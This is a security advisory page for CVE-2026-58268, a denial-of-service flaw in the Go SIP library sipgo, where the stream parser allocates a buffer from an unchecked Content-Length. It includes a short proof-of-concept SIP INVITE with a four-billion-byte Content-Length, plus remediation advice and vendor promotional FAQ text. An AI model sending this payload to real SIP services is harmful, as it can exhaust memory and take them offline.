Summary
SIPGO: DoS via unvalidated Content-Length in the stream parser
The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.
Details
ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):
body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)
The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large Content-Length and no body to a SIP server:
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:[email protected]>;tag=1
To: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 1 INVITE
Content-Length: 4000000000 // <- a large Content-Length
Impact
Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
CVE-2026-58268 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate contentLength against ParseMaxMessageLength before the allocation.
Frequently Asked Questions
- What is CVE-2026-58268? CVE-2026-58268 is a high-severity security vulnerability in github.com/emiago/sipgo (go), affecting versions <= 1.4.0. It is fixed in 1.4.1.
- How severe is CVE-2026-58268? CVE-2026-58268 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/emiago/sipgo are affected by CVE-2026-58268? github.com/emiago/sipgo (go) versions <= 1.4.0 is affected.
- Is there a fix for CVE-2026-58268? Yes. CVE-2026-58268 is fixed in 1.4.1. Upgrade to this version or later.
- Is CVE-2026-58268 exploitable, and should I be worried? Whether CVE-2026-58268 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58268 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58268? Upgrade
github.com/emiago/sipgoto 1.4.1 or later.